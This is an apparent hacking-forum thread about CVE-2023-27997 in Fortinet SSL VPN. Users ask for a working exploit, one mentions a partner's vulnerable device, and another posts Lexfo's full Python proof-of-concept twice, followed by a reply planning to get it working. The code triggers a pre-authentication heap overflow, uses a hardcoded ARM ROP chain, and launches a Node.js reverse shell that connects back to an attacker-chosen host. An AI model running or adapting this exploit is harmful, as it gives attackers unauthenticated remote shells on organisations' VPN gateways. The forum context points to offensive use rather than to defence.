no it doesn't. and i think my partner has this vuln. i'm looking for cve 27997
-
XSS.stack #1 – первый литературный журнал от юзеров форума
FortiOS & FortiProxy - Heap buffer overflow in sslvpn pre-authentication
- Автор темы владимиродин
- Дата начала
If anyone with C/C++ and asm knowledge interested in Co-Oping for making this, pm meThe researcher has published some exploit information but only for a crash.
Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was
When Lexfo Security teased a critical pre-authentication RCE bug in FortiGate devices on Saturday 10th, many people speculated on the practical impact of the bug. Would this be a true, sky-is-falling level vulnerability like the recent CVE-2022-42475? Or was it some edge-case hole, requiring...labs.watchtowr.com
hey bro, i wish i could, but i don't have much time ,so i'm searching for whoever has this exploit. and i would be glad to be in contact with you and stay updated about this cve.
Привет, никто не в курсе, как leak-нуть версию Fortigate-а?
сплойт от автора
blog.lexfo.fr
XORtigate: Pre-authentication Remote Code Execution on Fortigate VPN (CVE-2023-27997)
<p>A pre-authentication remote code execution on Fortigate SSL VPN was discovered by Lexfo (CVE-2023-27997).</p>
blog.lexfo.fr
GitHub - lexfo/xortigate-cve-2023-27997: xortigate-cve-2023-27997
xortigate-cve-2023-27997. Contribute to lexfo/xortigate-cve-2023-27997 development by creating an account on GitHub.
github.com
Python:
#!/usr/bin/env python3
# XORtigate (CVE-2023-27997) Remote Code Execution
# Author: LEXFO/AMBIONICS @cfreal_
# Date: 2023-10612
# See: https://blog.lexfo.fr/xortigate-cve-2023-27997.html
#
# This exploit is a POC. It won't:
# - fingerprint the target
# - check whether it is vulnerable
# - assert that your ROPchain is valid
#
# It acts as documentation as to how to perform the attack, and is, for this purpose,
# heavily commented. The target firmware is, on purpose, not disclosed.
#
# You'll need ten and pwntools to launch the exploit:
# - https://github.com/cfreal/ten
# - https://docs.pwntools.com/
#
from pwn import *
from ten import *
import hashlib
import ssl
import socket
set_message_formatter("OldschoolMessageFormatter")
REQ_POST = """\
POST %s HTTP/1.1\r
Host: %s:%d\r
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0\r
Content-Type: text/plain;charset=UTF-8\r
Connection: keep-alive\r
Content-Length: %d\r
\r
%s
"""
REQ_GET = """\
GET %s HTTP/1.1\r
Host: %s:%d\r
Connection: keep-alive\r
\r
"""
CIPHERS = "ECDHE-RSA-AES256-SHA@SECLEVEL=0"
context = ssl.create_default_context()
context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED
context.set_ciphers(CIPHERS)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
def spad(l, i, len) -> str:
return f"{l}{i}".ljust(len, "x")
def bxor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
@entry
@arg("target", "The target, as host:port")
@arg("local", "Where to connect back to, as host:port")
@arg("crash", "Whether to crash the process or not")
class Exploit:
host: str
port: int
local: str
salt: str
SSL_SIZE = 0x1000
PACKET_SIZE: int
DISTANCE: int
"""Distance from overflowed buffer to SSL struct.
"""
def _split_host_port(self, host_port: str) -> tuple:
try:
host, port = host_port.split(":", 2)
except ValueError:
failure(f"Unable to parse host:port: {host_port}")
try:
port = int(port)
except ValueError:
failure(f"Port is not numeric: {host}:[b]{port}[/]")
return host, port
def __init__(self, target: str, local: str, crash: bool = False):
self.host, self.port = self._split_host_port(target)
self.local = self._split_host_port(local)
self.ip = socket.gethostbyname(self.host)
self.salt = None
def create_ssl_socket(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.host, self.port))
ssl_sock = context.wrap_socket(sock)
return ssl_sock
def get_seed_for_md5_byte(self, pos, value):
"""Computes a hex value such that the MD5 byte xored in overflow is
equal to `value`.
"""
# We could cache the keystreams. It does not matter, though, as it is super
# fast.
distance = self.DISTANCE + pos
# First MD5 has its first two bytes used to XOR the size
distance += 2
MD5_LEN = 16
rounds, offset = divmod(distance, MD5_LEN)
c = hashlib.md5
for seed in range(2**24):
seed = "00" + p32(seed)[:3].hex()
hash = self.compute_md5(seed)
keystream = hash
for i in range(rounds):
hash = c(hash).digest()
keystream += hash
if hash[offset] == value:
return seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1]
failure("Unable to get seed")
def test_sane(self, sock) -> bool:
"""Returns true if a socket is still able to send and receive responses."""
random = tf.random.string()
try:
r = self.send_get(sock, f"/remote/error?errmsg={random}")
except RuntimeError as e:
# msg_failure(f"Not sane: {e}")
return False
return random.encode() in r
def test_several_sane(self, sockets):
for i, s in enumerate(sockets):
if self.test_sane(s):
msg_failure(f"{i}: ALIVE")
else:
msg_success(f"{i}: DEAD")
def crash_socket(self, sock):
"""Crashes a worker by repeatedly allocating 0xC00 structs and
overflowing until it breaks something.
"""
payload = self.create_payload()
for _ in range(2):
for nb in range(3):
glu = {
spad("K", i, self.PACKET_SIZE - 0x18 - 0x8): "" for i in range(nb)
}
self.send_post(sock, "/remote/error", glu)
# Create 3
glu = {spad("K", 0, self.PACKET_SIZE - 0x18 - 0x8): ""}
r = self.send_payload(sock, payload, glu)
if not self.test_sane(sock):
return
else:
failure("Unable to crash socket")
def single_write(self, sock, pos, value):
"""Writes a single byte `value` at offset `pos`. The next byte becomes
a NULL byte.
"""
seed, _ = self.get_seed_for_md5_byte(pos, value)
payload = self.create_payload(self.DISTANCE + pos, seed)
self.send_payload(sock, payload)
payload = self.create_payload(self.DISTANCE + pos + 1, seed)
self.send_payload(sock, payload)
def write_bytes(self, sock, pos, bytes):
"""Writes given bytes at offset `pos`."""
for i, b in enumerate(bytes):
self.single_write(sock, pos + i, b)
def run(self):
"""ARM32 exploit, blind noscope.
The heap setup happens naturally, as the IN buffer, of size 0x1000, gets
allocated right on top of the SSL struct (same size).
As a result, we can force the reallocation of the IN buffer and replace
it with our payload.
"""
NB_WORKERS = 3
salt_socket = self.create_ssl_socket()
self.get_salt(salt_socket)
salt_socket.close()
self.compute_packet_data_size(0x1000)
def vs(n):
return n - 0x10 - 4
attack_socket = self.create_ssl_socket()
safe_payload = self.create_payload(self.DISTANCE - 1)
glu = {}
glu |= {spad("S", j, vs(0x1000)): "" for j in range(12)}
self.send_payload(attack_socket, safe_payload, glu)
for i in range(NB_WORKERS - 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.host, self.port))
sock.close()
target_socket = self.create_ssl_socket()
# Reallocate buffer
r = self.send_post(
target_socket, "/remote/error", {"errmsg": "A" * (0x1000 // 2)}
)
# Alter the SSL structure and set the ROPchain
# To call handshake_func, we need the in_init flag to be set.
# When it gets called, r0 and r8 point to the beginning of the SSL
# structure. We stack pivot to using r0, and then shift the stack UP,
# right into the buffer we overflow from, to get a clean, easy ropchain.
try:
# Overwrite s->handshake_func
"""
.text:01253580 CMP R0, #0x10
.text:01253582 LDR.W R3, [R8]
.text:01253586 IT CC
.text:01253588 MOVCC R0, #0x10
.text:0125358A ADD.W R9, R0, R4
.text:0125358E MOV R7, R0
.text:01253590 MOV R0, R9
.text:01253592 BLX R3
"""
# The gadget is immediately followed by s->server, which is set to 1
# originally. We keep it this way.
self.write_bytes(attack_socket, 0x18, p32(0x01253581) + b"\x01")
# Overwrite s->version (last gadget)
# 0x00a875dc (0x00a875dd): mov sp, r7; pop.w {r4, r5, r6, r7, r8, sb, sl, fp, lr}; add sp, #4; bx lr;
# MSB is 0, so no need to write it and alter data at offset 4
self.write_bytes(attack_socket, 0x00, p32(0x00A875DD)[:3])
# Last POP is at sp+0x20, we pull the stack up to the previous
# buffer, the one we overflow from
# 0x0053fc7a (0x0053fc7b): sub sp, #0x1a0; pop {r4, pc};
# MSB is 0, so no need to write it and alter data at offset x24
self.write_bytes(attack_socket, 0x20, p32(0x0053FC7B)[:3])
# Overwrite ssl->statem.in_init to force the call to
# s->handshake_func when SSL_write gets called.
self.single_write(attack_socket, 0x48, 1)
# Write the ROPchain into the buffer
payload = self.create_rop_payload()
self.send_payload(attack_socket, payload)
except ssl.SSLError:
failure("Probably modified attack socket")
except RuntimeError:
failure("Error while modifying SSL structure")
msg_success("Overwrote SSL structure")
# Check if the attack socket was not altered in any way
if not self.test_sane(attack_socket):
failure("Attack socket broken")
msg_info("Attack socket is sane")
# Go for it
msg_info("Triggering exploit")
try:
if not self.test_sane(target_socket):
failure("Target socket broken")
except ssl.SSLError as e:
failure(f"Target socket broken: {e}")
msg_info("Target socket is sane")
if not self.test_sane(attack_socket):
failure("Attack socket broken")
msg_info("Attack socket is sane")
msg_success("You (might) have a shell")
def compute_packet_data_size(self, size) -> None:
"""Computes the size of the `enc` packet for it to fit into heap chunks
of size `size`.
"""
self.BLOCK_HEAD = 0x18
self.PACKET_SIZE = size
self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6
# Same allocation size as the SSL structure
alloc_size = self.PACKET_SIZE
# This will be allocated with a block header
alloc_size -= 0x18
# the allocation is the result of this operation:
# target = (inlen >> 1) + 1
inlen = (alloc_size - 1) << 1
# inlen consists of a header of size 12 followed by the data in hexa
inlen_data = inlen - 12
inlen_unhex = inlen_data >> 1
self.packet_data_size = inlen_unhex
def compute_md5(self, prefix: bytes) -> bytes:
"""Algorithm to compute the initial MD5 value."""
assert len(prefix) == 8
return hashlib.md5(
self.salt.encode()
+ prefix.encode()
+ b"GCC is the GNU Compiler Collection."
).digest()
def create_rop_payload(self) -> str:
"""Creates a ROPchain payload. The payload does not overflow, but it
contains a valid ropchain preceeded by a retchain.
The ROPchain is properly aligned and XORed with the MD5 chain, so that
it is properly stored, decrypted, in the heap.
"""
seed = "00000000"
md5 = self.compute_md5(seed)
size = self.packet_data_size
len_hi = size >> 8
len_lo = size & 0xFF
# retchain !
GDT_RET = 0x00350DEB
# 0x00650d1a (0x00650d1b): mov r0, sp; blx r3;
GDT_MOV_R0_SP = 0x00650D1B
# 0x000491ba (0x000491bb): add r0, sp, #8; blx r3;
GDT_ADD_R0_SP_OLD = 0x000491BB
# 0x003fe296 (0x003fe297): add r0, sp, #0x50; blx r3;
GDT_ADD_R0_SP = 0x003FE297
# forks() and calls system(r0)
FUNC_FORK_SYSTEM = 0x0004BD2D
# 0x00047378 (0x00047379): pop {r3, pc};
GDT_POP_R3 = 0x00047379
# 0x0001acac (0x0001acad): bx lr;
GDT_BX_LR = 0x0001ACAD
NODE_PAYLOAD = """/bin/node -e net=require("net"),cp=require("child_process");sh=cp.spawn("/bin/node",["-i"]);client=new
net.Socket();client.connect(%d,"%s",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client)});""" % (
self.local[1],
self.local[0],
)
assert NODE_PAYLOAD.count(" ") == 2
OKIDOKI = (
b"".join(
map(
p32,
(
GDT_POP_R3,
FUNC_FORK_SYSTEM,
GDT_ADD_R0_SP,
),
)
)
+ b"/" * 0x50
+ NODE_PAYLOAD.encode()
+ b"\x00"
)
assert len(OKIDOKI) < 0x1A0 + 4 * 0x20 + 4, "ROPCHAIN too big"
KEEP = self.packet_data_size - len(OKIDOKI) - 0x10 - 6 - 0x10
payload = b"RR" + p32(GDT_RET) * (KEEP // 4) + OKIDOKI
payload = payload.ljust(size, b"A")
if len(payload) > size:
failure("Payload too big :(")
size_data = bytes((len_lo, len_hi)) + payload
xored_data = bytearray()
for i, p in enumerate(size_data):
if i % 16 == 0 and i != 0:
md5 = hashlib.md5(md5).digest()
xored_data.append(md5[i % 16] ^ p)
i += 1
payload = seed + xored_data.hex()
return payload
def create_payload(self, size=None, seed="00000000") -> str:
"""Creates a payload of size `size` using the given `seed`."""
md5 = self.compute_md5(seed)
max_size = self.packet_data_size * 2
if size is None:
size = max_size
elif size > max_size:
failure(f"create_payload: {hex(size)=} > {hex(max_size)=}")
len_hi = (size >> 8) ^ md5[1]
len_lo = (size & 0xFF) ^ md5[0]
data = b"M" * (self.packet_data_size)
size_data = bytes((len_lo, len_hi)) + data
payload = seed + size_data.hex()
return payload
def send_payload(self, sock, enc: str, data: dict = {}) -> bytes:
return self.send_post(sock, f"/remote/hostcheck_validate", data | {"enc": enc})
# HTTP
def get_salt(self, sock):
"""Obtains the current salt from the remote server"""
response = self.send_get(sock, "/remote/info")
self.salt = re.search(rb"salt='(.*?)'", response).group(1).decode()
msg_info(f"Got salt: {self.salt}")
def send_get(self, sock, path: str) -> bytes:
"""Sends a GET request, returns the response."""
request = REQ_GET % (
path,
self.host,
self.port,
)
sock.sendall(request.encode())
return self.try_read_response(sock)
def send_post(self, sock, path: str, data: dict) -> bytes:
"""Sends a POST request, returns the response."""
data = tf.qs.unparse(data)
if len(data) > 0x10000:
failure(f"POST data too big: {hex(len(data))}")
request = REQ_POST % (path, self.host, self.port, len(data), data)
# msg_print(request[:-0x1000])
sock.sendall(request.encode())
return self.try_read_response(sock)
def try_read_response(self, sock) -> bytes:
"""Try to read the response header and contents. If the read() call
returns an empty byte array, `RuntimeError` is raised. This generally
indicates that the socket died.
"""
def read_or_raise(n):
read = sock.read(n)
if not read:
raise RuntimeError(f"Unable to read response headers: {headers}")
return read
count = 0
max_count = 10
while not (headers := sock.read(1)):
count += 1
time.sleep(0.1)
if count == max_count:
raise RuntimeError(f"Unable to read response headers: {headers}")
while b"\r\n\r\n" not in headers:
headers += read_or_raise(100)
# TOP tier HTTP parser
if b"Content-Length: " in headers:
length = int(re.search(rb"Content-Length: ([0-9]+)", headers).group(1))
data = headers[headers.index(b"\r\n\r\n") + 4 :]
while len(data) < length:
data += read_or_raise(length - len(data))
elif b"Transfer-Encoding: chunked" in headers:
data = headers[headers.index(b"\r\n\r\n") + 4 :]
while not data.endswith(b"\r\n0\r\n\r\n"):
data += read_or_raise(100)
else:
raise RuntimeError(
f"No Content-Length / Transfer-Encoding headers: {headers}"
)
return data
Exploit()
Have you modified the code to make it more usable or is it the same as the one posted on Github? As it says that this might not be usable as in on the github?сплойт от автора
XORtigate: Pre-authentication Remote Code Execution on Fortigate VPN (CVE-2023-27997)
<p>A pre-authentication remote code execution on Fortigate SSL VPN was discovered by Lexfo (CVE-2023-27997).</p>
GitHub - lexfo/xortigate-cve-2023-27997: xortigate-cve-2023-27997
xortigate-cve-2023-27997. Contribute to lexfo/xortigate-cve-2023-27997 development by creating an account on GitHub.github.comPython:#!/usr/bin/env python3 # XORtigate (CVE-2023-27997) Remote Code Execution # Author: LEXFO/AMBIONICS @cfreal_ # Date: 2023-10612 # See: https://blog.lexfo.fr/xortigate-cve-2023-27997.html # # This exploit is a POC. It won't: # - fingerprint the target # - check whether it is vulnerable # - assert that your ROPchain is valid # # It acts as documentation as to how to perform the attack, and is, for this purpose, # heavily commented. The target firmware is, on purpose, not disclosed. # # You'll need ten and pwntools to launch the exploit: # - https://github.com/cfreal/ten # - https://docs.pwntools.com/ # from pwn import * from ten import * import hashlib import ssl import socket set_message_formatter("OldschoolMessageFormatter") REQ_POST = """\ POST %s HTTP/1.1\r Host: %s:%d\r User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0\r Content-Type: text/plain;charset=UTF-8\r Connection: keep-alive\r Content-Length: %d\r \r %s """ REQ_GET = """\ GET %s HTTP/1.1\r Host: %s:%d\r Connection: keep-alive\r \r """ CIPHERS = "ECDHE-RSA-AES256-SHA@SECLEVEL=0" context = ssl.create_default_context() context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED context.set_ciphers(CIPHERS) context.check_hostname = False context.verify_mode = ssl.CERT_NONE def spad(l, i, len) -> str: return f"{l}{i}".ljust(len, "x") def bxor(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) @entry @arg("target", "The target, as host:port") @arg("local", "Where to connect back to, as host:port") @arg("crash", "Whether to crash the process or not") class Exploit: host: str port: int local: str salt: str SSL_SIZE = 0x1000 PACKET_SIZE: int DISTANCE: int """Distance from overflowed buffer to SSL struct. """ def _split_host_port(self, host_port: str) -> tuple: try: host, port = host_port.split(":", 2) except ValueError: failure(f"Unable to parse host:port: {host_port}") try: port = int(port) except ValueError: failure(f"Port is not numeric: {host}:[b]{port}[/]") return host, port def __init__(self, target: str, local: str, crash: bool = False): self.host, self.port = self._split_host_port(target) self.local = self._split_host_port(local) self.ip = socket.gethostbyname(self.host) self.salt = None def create_ssl_socket(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) ssl_sock = context.wrap_socket(sock) return ssl_sock def get_seed_for_md5_byte(self, pos, value): """Computes a hex value such that the MD5 byte xored in overflow is equal to `value`. """ # We could cache the keystreams. It does not matter, though, as it is super # fast. distance = self.DISTANCE + pos # First MD5 has its first two bytes used to XOR the size distance += 2 MD5_LEN = 16 rounds, offset = divmod(distance, MD5_LEN) c = hashlib.md5 for seed in range(2**24): seed = "00" + p32(seed)[:3].hex() hash = self.compute_md5(seed) keystream = hash for i in range(rounds): hash = c(hash).digest() keystream += hash if hash[offset] == value: return seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1] failure("Unable to get seed") def test_sane(self, sock) -> bool: """Returns true if a socket is still able to send and receive responses.""" random = tf.random.string() try: r = self.send_get(sock, f"/remote/error?errmsg={random}") except RuntimeError as e: # msg_failure(f"Not sane: {e}") return False return random.encode() in r def test_several_sane(self, sockets): for i, s in enumerate(sockets): if self.test_sane(s): msg_failure(f"{i}: ALIVE") else: msg_success(f"{i}: DEAD") def crash_socket(self, sock): """Crashes a worker by repeatedly allocating 0xC00 structs and overflowing until it breaks something. """ payload = self.create_payload() for _ in range(2): for nb in range(3): glu = { spad("K", i, self.PACKET_SIZE - 0x18 - 0x8): "" for i in range(nb) } self.send_post(sock, "/remote/error", glu) # Create 3 glu = {spad("K", 0, self.PACKET_SIZE - 0x18 - 0x8): ""} r = self.send_payload(sock, payload, glu) if not self.test_sane(sock): return else: failure("Unable to crash socket") def single_write(self, sock, pos, value): """Writes a single byte `value` at offset `pos`. The next byte becomes a NULL byte. """ seed, _ = self.get_seed_for_md5_byte(pos, value) payload = self.create_payload(self.DISTANCE + pos, seed) self.send_payload(sock, payload) payload = self.create_payload(self.DISTANCE + pos + 1, seed) self.send_payload(sock, payload) def write_bytes(self, sock, pos, bytes): """Writes given bytes at offset `pos`.""" for i, b in enumerate(bytes): self.single_write(sock, pos + i, b) def run(self): """ARM32 exploit, blind noscope. The heap setup happens naturally, as the IN buffer, of size 0x1000, gets allocated right on top of the SSL struct (same size). As a result, we can force the reallocation of the IN buffer and replace it with our payload. """ NB_WORKERS = 3 salt_socket = self.create_ssl_socket() self.get_salt(salt_socket) salt_socket.close() self.compute_packet_data_size(0x1000) def vs(n): return n - 0x10 - 4 attack_socket = self.create_ssl_socket() safe_payload = self.create_payload(self.DISTANCE - 1) glu = {} glu |= {spad("S", j, vs(0x1000)): "" for j in range(12)} self.send_payload(attack_socket, safe_payload, glu) for i in range(NB_WORKERS - 1): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) sock.close() target_socket = self.create_ssl_socket() # Reallocate buffer r = self.send_post( target_socket, "/remote/error", {"errmsg": "A" * (0x1000 // 2)} ) # Alter the SSL structure and set the ROPchain # To call handshake_func, we need the in_init flag to be set. # When it gets called, r0 and r8 point to the beginning of the SSL # structure. We stack pivot to using r0, and then shift the stack UP, # right into the buffer we overflow from, to get a clean, easy ropchain. try: # Overwrite s->handshake_func """ .text:01253580 CMP R0, #0x10 .text:01253582 LDR.W R3, [R8] .text:01253586 IT CC .text:01253588 MOVCC R0, #0x10 .text:0125358A ADD.W R9, R0, R4 .text:0125358E MOV R7, R0 .text:01253590 MOV R0, R9 .text:01253592 BLX R3 """ # The gadget is immediately followed by s->server, which is set to 1 # originally. We keep it this way. self.write_bytes(attack_socket, 0x18, p32(0x01253581) + b"\x01") # Overwrite s->version (last gadget) # 0x00a875dc (0x00a875dd): mov sp, r7; pop.w {r4, r5, r6, r7, r8, sb, sl, fp, lr}; add sp, #4; bx lr; # MSB is 0, so no need to write it and alter data at offset 4 self.write_bytes(attack_socket, 0x00, p32(0x00A875DD)[:3]) # Last POP is at sp+0x20, we pull the stack up to the previous # buffer, the one we overflow from # 0x0053fc7a (0x0053fc7b): sub sp, #0x1a0; pop {r4, pc}; # MSB is 0, so no need to write it and alter data at offset x24 self.write_bytes(attack_socket, 0x20, p32(0x0053FC7B)[:3]) # Overwrite ssl->statem.in_init to force the call to # s->handshake_func when SSL_write gets called. self.single_write(attack_socket, 0x48, 1) # Write the ROPchain into the buffer payload = self.create_rop_payload() self.send_payload(attack_socket, payload) except ssl.SSLError: failure("Probably modified attack socket") except RuntimeError: failure("Error while modifying SSL structure") msg_success("Overwrote SSL structure") # Check if the attack socket was not altered in any way if not self.test_sane(attack_socket): failure("Attack socket broken") msg_info("Attack socket is sane") # Go for it msg_info("Triggering exploit") try: if not self.test_sane(target_socket): failure("Target socket broken") except ssl.SSLError as e: failure(f"Target socket broken: {e}") msg_info("Target socket is sane") if not self.test_sane(attack_socket): failure("Attack socket broken") msg_info("Attack socket is sane") msg_success("You (might) have a shell") def compute_packet_data_size(self, size) -> None: """Computes the size of the `enc` packet for it to fit into heap chunks of size `size`. """ self.BLOCK_HEAD = 0x18 self.PACKET_SIZE = size self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6 # Same allocation size as the SSL structure alloc_size = self.PACKET_SIZE # This will be allocated with a block header alloc_size -= 0x18 # the allocation is the result of this operation: # target = (inlen >> 1) + 1 inlen = (alloc_size - 1) << 1 # inlen consists of a header of size 12 followed by the data in hexa inlen_data = inlen - 12 inlen_unhex = inlen_data >> 1 self.packet_data_size = inlen_unhex def compute_md5(self, prefix: bytes) -> bytes: """Algorithm to compute the initial MD5 value.""" assert len(prefix) == 8 return hashlib.md5( self.salt.encode() + prefix.encode() + b"GCC is the GNU Compiler Collection." ).digest() def create_rop_payload(self) -> str: """Creates a ROPchain payload. The payload does not overflow, but it contains a valid ropchain preceeded by a retchain. The ROPchain is properly aligned and XORed with the MD5 chain, so that it is properly stored, decrypted, in the heap. """ seed = "00000000" md5 = self.compute_md5(seed) size = self.packet_data_size len_hi = size >> 8 len_lo = size & 0xFF # retchain ! GDT_RET = 0x00350DEB # 0x00650d1a (0x00650d1b): mov r0, sp; blx r3; GDT_MOV_R0_SP = 0x00650D1B # 0x000491ba (0x000491bb): add r0, sp, #8; blx r3; GDT_ADD_R0_SP_OLD = 0x000491BB # 0x003fe296 (0x003fe297): add r0, sp, #0x50; blx r3; GDT_ADD_R0_SP = 0x003FE297 # forks() and calls system(r0) FUNC_FORK_SYSTEM = 0x0004BD2D # 0x00047378 (0x00047379): pop {r3, pc}; GDT_POP_R3 = 0x00047379 # 0x0001acac (0x0001acad): bx lr; GDT_BX_LR = 0x0001ACAD NODE_PAYLOAD = """/bin/node -e net=require("net"),cp=require("child_process");sh=cp.spawn("/bin/node",["-i"]);client=new net.Socket();client.connect(%d,"%s",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client)});""" % ( self.local[1], self.local[0], ) assert NODE_PAYLOAD.count(" ") == 2 OKIDOKI = ( b"".join( map( p32, ( GDT_POP_R3, FUNC_FORK_SYSTEM, GDT_ADD_R0_SP, ), ) ) + b"/" * 0x50 + NODE_PAYLOAD.encode() + b"\x00" ) assert len(OKIDOKI) < 0x1A0 + 4 * 0x20 + 4, "ROPCHAIN too big" KEEP = self.packet_data_size - len(OKIDOKI) - 0x10 - 6 - 0x10 payload = b"RR" + p32(GDT_RET) * (KEEP // 4) + OKIDOKI payload = payload.ljust(size, b"A") if len(payload) > size: failure("Payload too big :(") size_data = bytes((len_lo, len_hi)) + payload xored_data = bytearray() for i, p in enumerate(size_data): if i % 16 == 0 and i != 0: md5 = hashlib.md5(md5).digest() xored_data.append(md5[i % 16] ^ p) i += 1 payload = seed + xored_data.hex() return payload def create_payload(self, size=None, seed="00000000") -> str: """Creates a payload of size `size` using the given `seed`.""" md5 = self.compute_md5(seed) max_size = self.packet_data_size * 2 if size is None: size = max_size elif size > max_size: failure(f"create_payload: {hex(size)=} > {hex(max_size)=}") len_hi = (size >> 8) ^ md5[1] len_lo = (size & 0xFF) ^ md5[0] data = b"M" * (self.packet_data_size) size_data = bytes((len_lo, len_hi)) + data payload = seed + size_data.hex() return payload def send_payload(self, sock, enc: str, data: dict = {}) -> bytes: return self.send_post(sock, f"/remote/hostcheck_validate", data | {"enc": enc}) # HTTP def get_salt(self, sock): """Obtains the current salt from the remote server""" response = self.send_get(sock, "/remote/info") self.salt = re.search(rb"salt='(.*?)'", response).group(1).decode() msg_info(f"Got salt: {self.salt}") def send_get(self, sock, path: str) -> bytes: """Sends a GET request, returns the response.""" request = REQ_GET % ( path, self.host, self.port, ) sock.sendall(request.encode()) return self.try_read_response(sock) def send_post(self, sock, path: str, data: dict) -> bytes: """Sends a POST request, returns the response.""" data = tf.qs.unparse(data) if len(data) > 0x10000: failure(f"POST data too big: {hex(len(data))}") request = REQ_POST % (path, self.host, self.port, len(data), data) # msg_print(request[:-0x1000]) sock.sendall(request.encode()) return self.try_read_response(sock) def try_read_response(self, sock) -> bytes: """Try to read the response header and contents. If the read() call returns an empty byte array, `RuntimeError` is raised. This generally indicates that the socket died. """ def read_or_raise(n): read = sock.read(n) if not read: raise RuntimeError(f"Unable to read response headers: {headers}") return read count = 0 max_count = 10 while not (headers := sock.read(1)): count += 1 time.sleep(0.1) if count == max_count: raise RuntimeError(f"Unable to read response headers: {headers}") while b"\r\n\r\n" not in headers: headers += read_or_raise(100) # TOP tier HTTP parser if b"Content-Length: " in headers: length = int(re.search(rb"Content-Length: ([0-9]+)", headers).group(1)) data = headers[headers.index(b"\r\n\r\n") + 4 :] while len(data) < length: data += read_or_raise(length - len(data)) elif b"Transfer-Encoding: chunked" in headers: data = headers[headers.index(b"\r\n\r\n") + 4 :] while not data.endswith(b"\r\n0\r\n\r\n"): data += read_or_raise(100) else: raise RuntimeError( f"No Content-Length / Transfer-Encoding headers: {headers}" ) return data Exploit()
This is the original file from the author. I didn't change anything in the code. First of all, I threw it away for educational purposes.
Understood, was just curious. I will see if I can get it to work and see what all changes it requires.